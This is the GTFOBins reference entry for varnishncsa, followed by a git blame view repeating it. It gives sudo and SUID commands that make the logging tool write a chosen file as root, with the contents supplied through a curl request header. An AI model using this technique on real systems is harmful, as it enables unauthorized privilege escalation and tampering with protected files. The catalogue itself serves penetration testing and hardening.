GTFOBins.github.io/_gtfobins/varnishncsa.md

---
description: |
  This allows to write arbitrary files as root, provided that the proper HTTP response is made. Specifically the content of a certain header will be written in the file. First start `varnishncsa` as follows, then trigger the file write with:

  ```
  curl -H 'yyy: DATA' http://localhost:6081/xxx
  ```
functions:
  sudo:
    - code: |
        LFILE=file_to_write
        sudo varnishncsa -g request -q 'ReqURL ~ "/xxx"' -F '%{yyy}i' -w "$LFILE"
  suid:
    - code: |
        LFILE=file_to_write
        ./varnishncsa -g request -q 'ReqURL ~ "/xxx"' -F '%{yyy}i' -w "$LFILE"
---
Add varnishncsa & apache2ctl This commit adds 2 files (_gtfobins/apache2ctl.md and _gtfobins/varnishncsa.md) containing privilege escalation methods for the varnishncsa and apache2ctl utilities. 2023-06-19 10:59:59 +02:00			`---`
Polish varnishncsa 2023-12-23 12:40:09 +01:00			`description: \|`
			This allows to write arbitrary files as root, provided that the proper HTTP response is made. Specifically the content of a certain header will be written in the file. First start `varnishncsa` as follows, then trigger the file write with:

			```
			`curl -H 'yyy: DATA' http://localhost:6081/xxx`
			```
Add varnishncsa & apache2ctl This commit adds 2 files (_gtfobins/apache2ctl.md and _gtfobins/varnishncsa.md) containing privilege escalation methods for the varnishncsa and apache2ctl utilities. 2023-06-19 10:59:59 +02:00			`functions:`
Polish varnishncsa 2023-12-23 12:40:09 +01:00			`sudo:`
Fix broken YAML in varnishncsa 2023-12-23 12:43:57 +01:00			`- code: \|`
			`LFILE=file_to_write`
			`sudo varnishncsa -g request -q 'ReqURL ~ "/xxx"' -F '%{yyy}i' -w "$LFILE"`
Polish varnishncsa 2023-12-23 12:40:09 +01:00			`suid:`
Fix broken YAML in varnishncsa 2023-12-23 12:43:57 +01:00			`- code: \|`
			`LFILE=file_to_write`
			`./varnishncsa -g request -q 'ReqURL ~ "/xxx"' -F '%{yyy}i' -w "$LFILE"`
Polish varnishncsa 2023-12-23 12:40:09 +01:00			`---`